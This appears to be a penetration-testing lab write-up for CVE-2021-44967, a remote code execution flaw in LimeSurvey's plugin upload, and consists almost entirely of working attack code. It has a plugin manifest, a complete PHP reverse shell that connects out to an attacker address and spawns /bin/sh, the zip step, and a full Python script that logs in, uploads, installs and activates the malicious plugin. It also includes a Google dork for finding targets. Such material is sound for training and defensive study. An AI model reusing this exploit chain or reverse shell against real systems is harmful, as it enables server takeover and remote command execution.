CVE-2021-44967


The exploit package requires modification The payload is a ZIP archive file, containing XML and PHP files, and it will be treated as a plugin,

config.xml


<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>Y1LD1R1M</name>
        <type>plugin</type>
        <creationDate>2020-03-20</creationDate>
        <lastUpdate>2020-03-31</lastUpdate>
        <author>Y1LD1R1M</author>
        <authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
        <supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
        <version>5.0</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
		<![CDATA[Author : Y1LD1R1M]]></description>
    </metadata>
 
    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

The XML file contains only metadata. No need to change it as it would not affect the exploit itself

php-rev.php


<?php
 
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.45.198';  // CHANGE THIS
$port = 9999;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
 
 
if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
 
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
 
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
 
chdir("/");
 
umask(0);
 
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
 
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
 
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
 
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
 
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
 
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
 
?> 

PHP file has been modified to fit the current engagement context

Archiving


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/marketing/Limesurvey-RCE]
└─$ zip payload.zip config.xml php-rev.php 
  adding: config.xml (deflated 56%)
  adding: php-rev.php (deflated 61%)

Archiving both config.xml and php-rev.php files into payload.zip

exploit.py


# Exploit Title: LimeSurvey RCE
# Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login
# Date: 05.12.2021
# Exploit Author: Y1LD1R1M
# Vendor Homepage: https://www.limesurvey.org/
# Software Link: https://download.limesurvey.org/latest-stable-release/limesurvey5.2.4+211129.zip
# Version: 5.2.x
# Tested on: Kali Linux 2021.3
# Reference: https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
 
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
 
import requests
import sys
import warnings
from bs4 import BeautifulSoup
 
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
print("_______________LimeSurvey RCE_______________")
print("")
print("")
print("Usage: python exploit.py URL username password port")
print("Example: python exploit.py http://192.26.26.128 admin password 80")
print("")
print("")
print("== ██╗   ██╗ ██╗██╗     ██████╗  ██╗██████╗  ██╗███╗   ███╗ ==")
print("== ╚██╗ ██╔╝███║██║     ██╔══██╗███║██╔══██╗███║████╗ ████║ ==")
print("==  ╚████╔╝ ╚██║██║     ██║  ██║╚██║██████╔╝╚██║██╔████╔██║ ==")
print("==   ╚██╔╝   ██║██║     ██║  ██║ ██║██╔══██╗ ██║██║╚██╔╝██║ ==")
print("==    ██║    ██║███████╗██████╔╝ ██║██║  ██║ ██║██║ ╚═╝ ██║ ==")
print("==    ╚═╝    ╚═╝╚══════╝╚═════╝  ╚═╝╚═╝  ╚═╝ ╚═╝╚═╝     ╚═╝ ==")
print("")
print("")
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
port = sys.argv[4]
 
req = requests.session()
print("[+] Retrieving CSRF token...")
loginPage = req.get(url+"/index.php/admin/authentication/sa/login")
response = loginPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token = s.findAll('input')[0].get("value")
print(CSRF_token)
print("[+] Sending Login Request...")
 
login_creds = {
          "user": username,
          "password": password,
          "authMethod": "Authdb",
          "loginlang":"default",
          "action":"login",
          "width":"1581",
          "login_submit": "login",
          "YII_CSRF_TOKEN": CSRF_token
}
print("[+]Login Successful")
print("")
print("[+] Upload Plugin Request...")
print("[+] Retrieving CSRF token...")
filehandle = open("/home/kali/PEN-200/PG_PRACTICE/marketing/Limesurvey-RCE/payload.zip",mode = "rb") # CHANGE THIS
login = req.post(url+"/index.php/admin/authentication/sa/login" ,data=login_creds)
UploadPage = req.get(url+"/index.php/admin/pluginmanager/sa/index")
response = UploadPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token2 = s.findAll('input')[0].get("value")
print(CSRF_token2)
Upload_creds = {
          "YII_CSRF_TOKEN":CSRF_token2,
          "lid":"$lid",
          "action": "templateupload"
}
file_upload= req.post(url+"/index.php/admin/pluginmanager?sa=upload",files = {'the_file':filehandle},data=Upload_creds)
UploadPage = req.get(url+"/index.php/admin/pluginmanager?sa=uploadConfirm")
response = UploadPage.text
print("[+] Plugin Uploaded Successfully")
print("")
print("[+] Install Plugin Request...")
print("[+] Retrieving CSRF token...")
 
InstallPage = req.get(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin")
response = InstallPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token3 = s.findAll('input')[0].get("value")
print(CSRF_token3)
Install_creds = {
          "YII_CSRF_TOKEN":CSRF_token3,
          "isUpdate": "false"
}
file_install= req.post(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin",data=Install_creds)
print("[+] Plugin Installed Successfully")
print("")
print("[+] Activate Plugin Request...")
print("[+] Retrieving CSRF token...")
ActivatePage = req.get(url+"/index.php/admin/pluginmanager?sa=activate")
response = ActivatePage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token4 = s.findAll('input')[0].get("value")
print(CSRF_token4)
Activate_creds = {
          "YII_CSRF_TOKEN":CSRF_token4,
          "pluginId": "1" # CHANGE THIS
}
file_activate= req.post(url+"/index.php/admin/pluginmanager?sa=activate",data=Activate_creds) 
print("[+] Plugin Activated Successfully")
print("")
print("[+] Reverse Shell Starting, Check Your Connection :)")
shell= req.get(url+"/upload/plugins/Y1LD1R1M/php-rev.php") # CHANGE THIS

The exploit.py file has been altered to include the payload